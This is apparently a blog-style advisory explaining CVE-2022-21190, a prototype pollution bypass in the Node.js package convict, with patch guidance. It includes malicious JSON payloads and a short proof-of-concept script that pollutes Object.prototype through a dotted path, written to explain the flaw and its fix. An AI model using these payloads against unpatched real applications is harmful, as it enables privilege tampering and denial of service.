In early 2022, the Node.js configuration package, convict, was patched for a nasty prototype pollution bug (CVE-2022-22143). You’d expect a patch would lock down this dangerous attack vector for good. But as often seen, hackers found a creative way around it. The result? CVE-2022-21190, a bypass of the previous fix impacting all versions before 6.2.3.
In this article, we’ll break down what went wrong in convict’s code, explain why the quick fix didn’t cut it, and show (with code) how attackers could sneak through with just a single dot. If you work with JavaScript or Node.js applications anywhere near user-supplied config, this is worth reading.
What is Convict?
Convict is a popular node package to load and validate configuration based on schemas. You can load config from files, environment, or even user input. Unfortunately, this flexibility also opens the door to prototype pollution if not properly checked.
Prototype pollution is when an attacker sets properties on an object's prototype, affecting all objects created from that prototype. In JavaScript, messing with __proto__ or this.constructor.prototype can have serious security consequences.
The Original Vulnerability (CVE-2022-22143)
Originally, convict was vulnerable to paths in configuration like __proto__ or constructor.prototype, which could let an attacker modify the application’s prototype. This meant a malicious user could put something like:
{
"__proto__": {
"admin": true
}
}
If convict loaded this, suddenly all objects could have a sneaky admin property.
First fix: Convict tried to block these dangerous keys by checking path segments before processing:
if (key === '__proto__' || key === 'constructor.prototype') { throw ... }
The Bypass — CVE-2022-21190
The patch relied on a startsWith check — if any part of a config path started with __proto__ or constructor.prototype, it would block.
But there’s a simple way to “hide” the dangerous path: just nest it under another property, like this:
{
"foo.__proto__": {
"admin": true
}
}
or
{
"bar.this.constructor.prototype": {
"evilhax": "yes"
}
}
Here’s how the code worked before the fix (full patch here):
// oversimplified example
const path = 'foo.__proto__';
if (path.startsWith('__proto__') || path.startsWith('this.constructor.prototype')) {
throw new Error('No prototype pollution here!');
}
// Oops! This passes the check since "foo.__proto__" doesn't startWith "__proto__"
// It goes on to split and process "__proto__" anyway
The problem: Splitting foo.__proto__ by dots later leads to ['foo', '__proto__']. The original check just saw the *whole* string, not the *segments*.
Here’s how you could exploit this in a vulnerable convict (pre-6.2.3)
const convict = require('convict');
const schema = { any: { default: 1 } }; // simple schema
const config = convict(schema);
const payload = {
"bar.__proto__": {
"polluted": "I am polluted!"
}
};
config.load(payload);
// Now, even an empty object gets a "polluted" property
console.log({}.polluted); // Output: "I am polluted!"
Result: All future objects created using {} will have .polluted as a property. That’s real prototype pollution.
The Real Fix
The final fix (in v6.2.3) involved checking path segments instead of just startsWith:
// Proper way: slice path into segments, check each one!
const pathSegments = path.split('.');
if (pathSegments.some(seg => seg === '__proto__' || seg === 'constructor' || seg === 'prototype')) {
throw new Error('Blocked prototype pollution!');
}
How to Stay Safe
- Upgrade to Convict 6.2.3 or later (see npm advisory)
Never accept untrusted JSON or config without validation.
- Protect against prototype pollution everywhere: Not just convict, but lodash, jQuery, or any library processing “dot paths”.
References
- Snyk Vulnerability DB: CVE-2022-21190
- Convict GitHub Patch Commit
- Previous CVE-2022-22143
- Prototype Pollution in JavaScript — OWASP
Conclusion
CVE-2022-21190 is a great example of how quick patches can fail, and how attacks evolve faster than you think. A single dot — in the right spot — let hackers bypass smart-sounding string checks. Always sanitize and validate each path segment, not just the path as a whole.
If you build or maintain Node.js apps, don’t just skim the changelog — read the patches. Stay up to date and know what’s lurking under the hood!
*Feel free to share this post or reach out for code review help — prototype pollution is a silent killer in modern JavaScript projects.*
Timeline
Published on: 05/13/2022 20:15:00 UTC
Last modified on: 05/24/2022 14:11:00 UTC